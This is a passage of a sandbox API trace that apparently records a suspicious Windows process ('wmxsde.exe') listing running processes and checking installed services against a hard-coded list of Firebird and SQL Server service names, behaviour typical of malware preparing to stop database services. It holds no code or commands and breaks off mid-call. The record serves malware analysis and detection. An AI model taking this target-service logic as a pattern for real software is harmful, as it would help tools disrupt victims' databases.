1 [0167.223] lstrlenW (lpString="audiodg.exe") returned 11 [0167.223] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3bc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0167.224] lstrlenW (lpString="taskhostw.exe") returned 13 [0167.225] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x710, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0167.225] lstrlenW (lpString="sihost.exe") returned 10 [0167.225] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0167.226] lstrlenW (lpString="svchost.exe") returned 11 [0167.226] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0167.227] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0167.227] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0167.228] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0167.228] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0167.229] lstrlenW (lpString="Memory Compression") returned 18 [0167.229] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0167.230] lstrlenW (lpString="taskhostw.exe") returned 13 [0167.230] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3bc, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0167.375] lstrlenW (lpString="msoia.exe") returned 9 [0167.375] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x46, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0167.376] lstrlenW (lpString="explorer.exe") returned 12 [0167.376] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0167.377] lstrlenW (lpString="SearchUI.exe") returned 12 [0167.377] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xba8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0167.378] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0167.378] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0167.379] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0167.379] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0167.380] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0167.380] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0xa38, pcPriClassBase=8, dwFlags=0x0, szExeFile="wmxsde.exe")) returned 1 [0167.381] lstrlenW (lpString="wmxsde.exe") returned 10 [0167.381] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdd8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0167.382] lstrlenW (lpString="cmd.exe") returned 7 [0167.382] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdf0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0167.383] lstrlenW (lpString="conhost.exe") returned 11 [0167.383] Process32NextW (in: hSnapshot=0x4f0, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdf0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0167.384] CloseHandle (hObject=0x4f0) returned 1 [0167.384] Sleep (dwMilliseconds=0x1f4) [0168.234] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x459f420 [0168.240] EnumServicesStatusExW (in: hSCManager=0x459f420, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x25eff3c, lpServicesReturned=0x25eff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x25eff3c, lpServicesReturned=0x25eff54, lpResumeHandle=0x0) returned 0 [0168.241] GetLastError () returned 0xea [0168.241] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x1bbc) returned 0x4581838 [0168.241] EnumServicesStatusExW (in: hSCManager=0x459f420, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4581838, cbBufSize=0x1bbc, pcbBytesNeeded=0x25eff3c, lpServicesReturned=0x25eff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4581838, pcbBytesNeeded=0x25eff3c, lpServicesReturned=0x25eff54, lpResumeHandle=0x0) returned 1 [0168.242] CloseServiceHandle (hSCObject=0x459f420) returned 1 [0168.242] lstrlenW (lpString="AppXSvc") returned 7 [0168.242] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0168.242] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0168.243] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0168.243] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0168.243] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0168.243] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0168.243] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0168.243] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0168.243] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0168.243] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0168.243] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0168.243] lstrlenW (lpString="Audiosrv") returned 8 [0168.243] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0168.243] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0168.243] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0168.243] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0168.243] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0168.243] lstrlenW (lpString="BFE") returned 3 [0168.243] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0168.243] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0168.243] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0168.243] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0168.244] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0168.244] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0168.244] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0168.244] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0168.244] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0168.244] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0168.244] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0168.244] lstrlenW (lpString="CDPSvc") returned 6 [0168.244] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0168.244] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0168.244] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0168.244] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0168.244] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0168.244] lstrlenW (lpString="ClickToRunSvc") returned 13 [0168.244] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0168.244] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0168.244] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0168.244] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0168.244] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0168.244] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0168.244] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0168.244] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0168.244] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0168.244] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0168.244] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0168.245] lstrlenW (lpString="CryptSvc") returned 8 [0168.245] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0168.245] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0168.245] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0168.245] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0168.245] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0168.245] lstrlenW (lpString="DcomLaunch") returned 10 [0168.245] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0168.245] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0168.245] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0168.245] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0168.245] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0168.245] lstrlenW (lpString="DeviceAssociationService") returned 24 [0168.245] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0168.245] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0168.245] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0168.245] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0168.245] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0168.245] lstrlenW (lpString="Dhcp") returned 4 [0168.245] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0168.245] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0168.245] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0168.245] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0168.245] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0168.245] lstrlenW (lpString="Dnscache") returned 8 [0168.245] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0168.246] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0168.246] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0168.246] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0168.246] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0168.246] lstrlenW (lpString="DPS") returned 3 [0168.246] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0168.246] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0168.246] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0168.246] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0168.246] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0168.246] lstrlenW (lpString="DsmSvc") returned 6 [0168.246] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DsmSvc") returned 1 [0168.246] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DsmSvc") returned 1 [0168.246] lstrcmpiW (lpString1="sqlwriter", lpString2="DsmSvc") returned 1 [0168.246] lstrcmpiW (lpString1="mssqlserver", lpString2="DsmSvc") returned 1 [0168.246] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DsmSvc") returned 1 [0168.246] lstrlenW (lpString="DusmSvc") returned 7 [0168.246] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0168.247] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0168.247] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0168.247] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0168.247] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0168.247] lstrlenW (lpString="EventLog") returned 8 [0168.247] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0168.247] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0168.247] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0168.247] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0168.247] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0168.247] lstrlenW (lpString="EventSystem") returned 11 [0168.247] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0168.247] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0168.247] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0168.247] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0168.247] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0168.247] lstrlenW (lpString="FontCache") returned 9 [0168.247] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0168.247] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0168.247] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0168.248] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0168.248] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0168.248] lstrlenW (lpString="gpsvc") returned 5 [0168.248] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0168.248] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0168.248] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0168.248] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0168.248] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0168.248] lstrlenW (lpString="iphlpsvc") returned 8 [0168.248] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0168.248] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0168.248] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0168.248] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0168.248] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0168.248] lstrlenW (lpString="KeyIso") returned 6 [0168.248] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0168.248] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0168.248] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0168.248] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0168.248] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0168.248] lstrlenW (lpString="LanmanServer") returned 12 [0168.248] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0168.248] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0168.248] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0168.248] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0168.249] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0168.249] lstrlenW (lpString="LanmanWorkstation") returned 17 [0168.249] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0168.249] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0168.249] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0168.249] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0168.249] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0168.249] lstrlenW (lpString="lfsvc") returned 5 [0168.249] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0168.249] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0168.249] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0168.249] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0168.249] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0168.249] lstrlenW (lpString="lmhosts") returned 7 [0168.249] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0168.249] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0168.249] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0168.249] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0168.249] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0168.249] lstrlenW (lpString="LSM") returned 3 [0168.249] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0168.249] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0168.249] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0168.249] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0168.249] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0168.250] lstrlenW (lpString="MpsSvc") returned 6 [0168.250] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0168.250] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0168.250] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0168.250] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0168.250] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0168.250] lstrlenW (lpString="NcbService") returned 10 [0168.250] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0168.250] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0168.250] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0168.250] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0168.250] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0168.250] lstrlenW (lpString="netprofm") returned 8 [0168.250] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0168.250] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0168.250] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0168.250] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0168.250] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0168.250] lstrlenW (lpString="NgcSvc") returned 6 [0168.250] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0168.250] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0168.250] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0168.250] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0168.250] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0168.250] lstrlenW (lpString="NlaSvc") returned 6 [0168.251] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0168.251] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0168.251] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0168.251] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0168.251] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0168.251] lstrlenW (lpString="nsi") returned 3 [0168.251] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0168.251] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0168.251] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0168.251] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0168.251] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0168.251] lstrlenW (lpString="PcaSvc") returned 6 [0168.251] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0168.251] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0168.251] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0168.251] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0168.251] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0168.251] lstrlenW (lpString="PlugPlay") returned 8 [0168.251] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0168.251] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0168.251] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0168.251] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0168.251] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0168.251] lstrlenW (lpString="Power") returned 5 [0168.251] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0168.252] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0168.252] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0168.252] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0168.252] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0168.252] lstrlenW (lpString="ProfSvc") returned 7 [0168.252] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0168.252] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0168.252] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0168.252] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0168.252] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0168.252] lstrlenW (lpString="RpcEptMapper") returned 12 [0168.252] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0168.252] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0168.252] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0168.252] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0168.252] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0168.252] lstrlenW (lpString="RpcSs") returned 5 [0168.252] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0168.252] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0168.252] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0168.252] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0168.252] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0168.252] lstrlenW (lpString="SamSs") returned 5 [0168.252] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0168.253] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0168.253] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0168.253] lstrcmpiW (lpString1="mssqlserver", 